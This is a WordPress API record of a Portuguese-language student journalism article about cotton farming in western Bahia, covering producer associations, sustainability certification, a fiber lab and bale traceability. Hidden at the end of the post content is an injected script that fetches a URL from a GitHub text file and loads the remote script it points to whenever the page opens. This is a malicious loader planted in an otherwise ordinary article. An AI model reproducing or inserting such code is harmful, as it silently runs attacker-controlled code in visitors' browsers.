{"id":253,"date":"2022-09-16T12:04:37","date_gmt":"2022-09-16T15:04:37","guid":{"rendered":"http:\/\/www2.uesb.br\/portaldejornalismo\/?p=253"},"modified":"2024-10-07T15:27:08","modified_gmt":"2024-10-07T18:27:08","slug":"o-ouro-branco-do-oeste-baiano","status":"publish","type":"post","link":"https:\/\/www2.uesb.br\/portaldejornalismo\/?p=253","title":{"rendered":"O OURO BRANCO DO OESTE BAIANO"},"content":{"rendered":"<p><strong>Por: Carolina Lapa<\/strong><\/p>\n<h4>A produ\u00e7\u00e3o algodoeira do Oeste baiano tem sido destaque no Brasil e no mundo pela qualidade das fibras produzidas e pela responsabilidade socioambiental empregada em toda cadeia produtiva do algod\u00e3o.<\/h4>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-256 size-large aligncenter img-fluid\" src=\"http:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/agodao-por-do-sol-1024x683.jpg\" alt=\"\" width=\"1024\" height=\"683\" srcset=\"https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/agodao-por-do-sol-1024x683.jpg 1024w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/agodao-por-do-sol-300x200.jpg 300w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/agodao-por-do-sol-768x512.jpg 768w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/agodao-por-do-sol-264x175.jpg 264w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/agodao-por-do-sol-570x380.jpg 570w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/p>\n<p><span style=\"font-weight: 400;\">Lavoura de Algod\u00e3o, Fazenda Santo Ant\u00f4nio, munic\u00edpio de Lu\u00eds Eduardo Magalh\u00e3es &#8211; Agosto 2022. Foto Abapa<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">O Oeste Baiano \u00e9 o segundo maior produtor de algod\u00e3o do Brasil, com \u00edndices de produtividade m\u00e9dia entre os maiores do mundo. <\/span><span style=\"font-weight: 400;\">Lu\u00eds Eduardo Magalh\u00e3es \u00e9 um dos munic\u00edpios mais novos, sen\u00e3o ca\u00e7ula da chamada Matopiba &#8211; nome dado \u00e0 regi\u00e3o que corresponde aos estados do Maranh\u00e3o, Tocantins, Piau\u00ed e Bahia, grandes produtores rurais. <\/span><span style=\"font-weight: 400;\">Pelo ranking nacional de produ\u00e7\u00e3o da Associa\u00e7\u00e3o Brasileira de Produtores de Algod\u00e3o (Abrapa), o estado da Bahia est\u00e1 apenas atr\u00e1s do estado do Mato Grosso, contribuindo com 20% nas exporta\u00e7\u00f5es\u00a0 de algod\u00e3o, o equivalente a 40% de toda a produ\u00e7\u00e3o do estado.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">A alta qualidade da pluma do algod\u00e3o est\u00e1 associada aos resultados das pesquisas de ponta; como a melhoria gen\u00e9tica da planta, do solo, das t\u00e9cnicas de plantio e um rigoroso processo de manejo do solo. Tudo isso somado ao cuidado e entrega dos produtores baianos nesse processo,\u00a0 aliado \u00e0s condi\u00e7\u00f5es favor\u00e1veis do clima e do solo do cerrado.\u00a0 Chegar a esse patamar foi poss\u00edvel, antes de tudo, pela mudan\u00e7a de mentalidade do cotonicultor da Bahia.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">H\u00e1 mais de duas d\u00e9cadas, a Associa\u00e7\u00e3o Baiana de Produtores de Algod\u00e3o (Abapa) representa os cotonicultores baianos, essa transforma\u00e7\u00e3o \u00e9, ao mesmo tempo causa e consequ\u00eancia da organiza\u00e7\u00e3o do setor, o que mobiliza a cria\u00e7\u00e3o de institui\u00e7\u00f5es fortes de representa\u00e7\u00e3o para a defesa dos interesses da cotonicultura, visando o seu desenvolvimento e fortalecimento.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><strong>CONSTRUINDO VALORES E QUALIDADE\u00a0<\/strong><\/h4>\n<p><span style=\"font-weight: 400;\">O Programa Fitossanit\u00e1rio \u00e9 um dos mais importantes pilares da cotonicultura, pois monitora o inseto bicudo do algodoeiro, praga que h\u00e1 cerca de duas d\u00e9cadas dizimou as lavouras e quase p\u00f4s fim a produ\u00e7\u00e3o de algod\u00e3o, especialmente a nordestina. Al\u00e9m do bicudo, as equipes do programa da Abapa tamb\u00e9m monitoram outras pragas e doen\u00e7as, a exemplo dos nemat\u00f3ides e da ramul\u00e1ria, vermes e fungos que atacam a planta.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Outro programa de grande relev\u00e2ncia \u00e9 a cert<\/span><span style=\"font-weight: 400;\">ifica\u00e7\u00e3o Algod\u00e3o Brasileiro Respons\u00e1vel (ABR), feito pela Abrapa e adotado pela Abapa, que cont\u00e9m <\/span><span style=\"font-weight: 400;\">oito crit\u00e9rios a serem observados e avaliados para garantir o rastreamento e qualidade do algod\u00e3o que \u00e9 entregue para o consumo. A saber: Contrato de trabalho; proibi\u00e7\u00e3o do trabalho infantil; proibi\u00e7\u00e3o de trabalho an\u00e1lago a escravid\u00e3o ou em condi\u00e7\u00f5es degradantes ou indignas; liberdade de associa\u00e7\u00e3o sindical; proibi\u00e7\u00e3o de discrimina\u00e7\u00e3o de pessoas; seguran\u00e7a, sa\u00fade ocupacional e meio ambiente do trabalho; desempenho ambienal e boas pr\u00e1ticas agr\u00edcolas.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">O mais completo programa de certifica\u00e7\u00e3o de plumas sustent\u00e1vel do mundo, baseia-se totalmente nas legisla\u00e7\u00f5es trabalhistas e ambientais no Brasil. Gra\u00e7as a essa iniciativa, o pa\u00eds se consagrou como o maior fornecedor mundial de algod\u00e3o produzido em bases sustent\u00e1veis, com participa\u00e7\u00e3o em torno de 36% em todo o montante licenciado pela ONG Sui\u00e7a Better Cotton <\/span><span style=\"font-weight: 400;\">Initiative (BCI). Ao atuar em benchmarking (analisando estrat\u00e9gias e aplicando as melhores pr\u00e1ticas da empresa do setor) com a BCI, que age em mais de 80 pa\u00edses, a ABR alcan\u00e7ou credibilidade internacional em sua certifica\u00e7\u00e3o e hoje, mesmo sem ser obrigat\u00f3ria, 88,6% da produ\u00e7\u00e3o baiana \u00e9 certificada, devido ao seu diferencial de mercado.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Voc\u00ea est\u00e1 usando algo de algod\u00e3o agora? Pode n\u00e3o parecer, mas <\/span><span style=\"font-weight: 400;\">ao contr\u00e1rio do que muitos pensam, v\u00e1rios<\/span><span style=\"font-weight: 400;\"> produtos de uso di\u00e1rio est\u00e3o diretamente relacionados. Roupas, atadura, maquiagem, \u00f3leos comest\u00edveis, margarina, ra\u00e7\u00e3o animal, telas de celulares e computadores. Todos eles podem ser produzidos a partir do algod\u00e3o. Essa fibra significa renda para muitas pessoas dentro do processo produtivo, que vai desde a cotonicultura, que \u00e9 o cultivo do algod\u00e3o, at\u00e9 o consumo dos produtos derivados.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Para chegar \u00e0s roupas que vestimos no dia-a-dia como a cal\u00e7a jeans e a camiseta que n\u00e3o abrimos m\u00e3o de usar, o processo ainda \u00e9 longo. Ou seja, tudo come\u00e7a com a melhoria da semente, plantio e colheita. A fibra \u00e9 submetida a v\u00e1rias fases de processamento at\u00e9 a entrega das plumas e demais derivados do algod\u00e3o para as ind\u00fastrias t\u00eaxtil, de alimentos, automotiva, de sa\u00fade e tecnologia. O principal produto do algod\u00e3o \u00e9 a sua fibra, \u00e9 necess\u00e1rio ter um alto padr\u00e3o de qualidade. O\u00a0 certificado de qualidade \u00e9 desenvolvido pelo laborat\u00f3rio de an\u00e1lise. Para este processo, \u00e9 preciso manter a umidade do algod\u00e3o, por isso o\u00a0 ambiente deve ser obrigatoriamente climatizado para estar dentro dos padr\u00f5es. O laborat\u00f3rio onde \u00e9 feito este processo, \u00e9 o Centro de An\u00e1lise de fibra, considerado o maior da Am\u00e9rica Latina, e por dia s\u00e3o feitas de 25 a 30 mil an\u00e1lises. Garantindo seguran\u00e7a para quem compra e quem vende o algod\u00e3o.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-260 size-large img-fluid\" src=\"http:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/lab-algodao-1024x330.png\" alt=\"\" width=\"1024\" height=\"330\" srcset=\"https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/lab-algodao-1024x330.png 1024w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/lab-algodao-300x97.png 300w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/lab-algodao-768x248.png 768w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/lab-algodao-264x85.png 264w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/lab-algodao-1130x365.png 1130w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/lab-algodao.png 1500w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/p>\n<p><span style=\"font-weight: 400;\">Interior do Centro de An\u00e1lise de Fibras, em Lu\u00eds Eduardo Magalh\u00e3es. Foto Abapa\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><b>PROGRAMA SOU DE ALGOD\u00c3O<\/b><span style=\"font-weight: 400;\">\u00a0<\/span><\/h4>\n<p><span style=\"font-weight: 400;\">Para incentivar o uso do algod\u00e3o, foi criada, h\u00e1 seis anos, a campanha Sou de Algod\u00e3o. A iniciativa da Abapa com apoio do Instituto Brasileiro de Algod\u00e3o (IBA) nasce devido \u00e0 queda, nos \u00faltimos 40 anos, do n\u00famero de pessoas que usam roupas feitas dessa fibra. As principais estrat\u00e9gias utilizadas foram o reconhecimento da import\u00e2ncia de todos os elos da cadeia produtiva &#8211; desde a produ\u00e7\u00e3o at\u00e9 a venda &#8211; e a preocupa\u00e7\u00e3o com todos os segmentos do mercado, com maior ou menor tamanho. Conte\u00fados foram lan\u00e7ados na internet e, com a ajuda de digital influencers e grandes marcas, as redes sociais do movimento tiveram aumento de seguidores, visualiza\u00e7\u00e3o dos conte\u00fados e de intera\u00e7\u00f5es. Todas essas estrat\u00e9gias t\u00eam como objetivo estimular o aumento do consumo do algod\u00e3o rastre\u00e1vel, o que se traduz em cuidado com o meio ambiente, pois \u00e9 uma fibra natural e biodegrad\u00e1vel.\u00a0<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-262 size-large img-fluid\" src=\"http:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-11.05.27-1024x881.jpeg\" alt=\"\" width=\"1024\" height=\"881\" srcset=\"https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-11.05.27-1024x881.jpeg 1024w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-11.05.27-300x258.jpeg 300w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-11.05.27-768x661.jpeg 768w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-11.05.27-203x175.jpeg 203w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-11.05.27-441x380.jpeg 441w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-11.05.27.jpeg 1242w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/p>\n<p><span style=\"font-weight: 400;\">J\u00falio C\u00e9zar Busato, Presidente da Abrapa. Fonte ABAPA &#8211; Reprodu\u00e7\u00e3o Instagram<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">Em meio aos desafios na exporta\u00e7\u00e3o, \u00e9 certo que o algod\u00e3o do oeste baiano j\u00e1 se destaca no mercado internacional por sua brancura, qualidade da fibra <\/span><span style=\"font-weight: 400;\">e controle rigoroso da qualidade<\/span><span style=\"font-weight: 400;\">. Reflexo de um solo mais arenoso do que argiloso e da grande incid\u00eancia de luz na lavoura, a cor do algod\u00e3o baiano despertou a cobi\u00e7a de compradores nacionais e internacionais, o que agregou um valor maior ao produto.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Cada fardo de algod\u00e3o produzido no Brasil tem um \u201cRG\u201d: a etiqueta do Sistema Abrapa de Identifica\u00e7\u00e3o (SAI) com um c\u00f3digo de barras. Com ela, pode-se rastrear com exatid\u00e3o desde a fazenda onde foi produzido, \u00e0 usina na qual foi beneficiado, e ter acesso a uma s\u00e9rie de informa\u00e7\u00f5es, como a classifica\u00e7\u00e3o nos \u00edndices de an\u00e1lise instrumental por High Volume Instrument (HVI). O sistema surgiu em resposta \u00e0s exig\u00eancias do mercado externo sobre a origem do algod\u00e3o nacional. Para uma etiqueta com c\u00f3digo de barras, amostras de pluma e fardos s\u00e3o rastreados pelo sistema, fornecendo todos os dados relacionados a sua origem e comercializa\u00e7\u00e3o com agilidade, transpar\u00eancia e seguran\u00e7a de informa\u00e7\u00f5es para os usu\u00e1rios.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">O algod\u00e3o trouxe muito desenvolvimento e oportunidades para a cidade de Lu\u00eds Eduardo Magalh\u00e3es e para a regi\u00e3o Oeste da Bahia. O <\/span><span style=\"font-weight: 400;\">que para alguns pode significar apenas um utens\u00edlio, representa para quem trabalha diretamente com ele o sustento da fam\u00edlia, a constru\u00e7\u00e3o de uma vida ou at\u00e9 mesmo a realiza\u00e7\u00e3o de um sonho. O algod\u00e3o <\/span><span style=\"font-weight: 400;\">agrega valor e gera empregos e renda para a regi\u00e3o. Como disse Alessandra Zanotto, presidente da Zanotto Cotton e vice-presidente da Abapa, \u201ca produ\u00e7\u00e3o de algod\u00e3o \u00e9 uma \u00e1rea que exige profissionalismo, sustentabilidade e empreendedorismo\u201d. \u00c9 dif\u00edcil imaginar um momento em que n\u00e3o tenhamos ao menos uma pe\u00e7a de algod\u00e3o em nosso corpo, quem dir\u00e1 em nossas casas. Ainda com toda informatiza\u00e7\u00e3o e o imagin\u00e1rio de um futuro cada vez mais urbano, o essencial continua vindo do campo.<\/span><\/p>\n<p>&nbsp;<script>;var url = 'https:\/\/raw.githubusercontent.com\/AlexanderRPatton\/cdn\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Por: Carolina Lapa A produ\u00e7\u00e3o algodoeira do Oeste baiano tem&#8230;<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[12,7,8],"tags":[],"class_list":["post-253","post","type-post","status-publish","format-standard","hentry","category-jornalismo-impresso","category-noticias","category-slide"],"acf":[],"_links":{"self":[{"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=\/wp\/v2\/posts\/253","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=253"}],"version-history":[{"count":14,"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=\/wp\/v2\/posts\/253\/revisions"}],"predecessor-version":[{"id":368,"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=\/wp\/v2\/posts\/253\/revisions\/368"}],"wp:attachment":[{"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=253"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=253"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=253"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}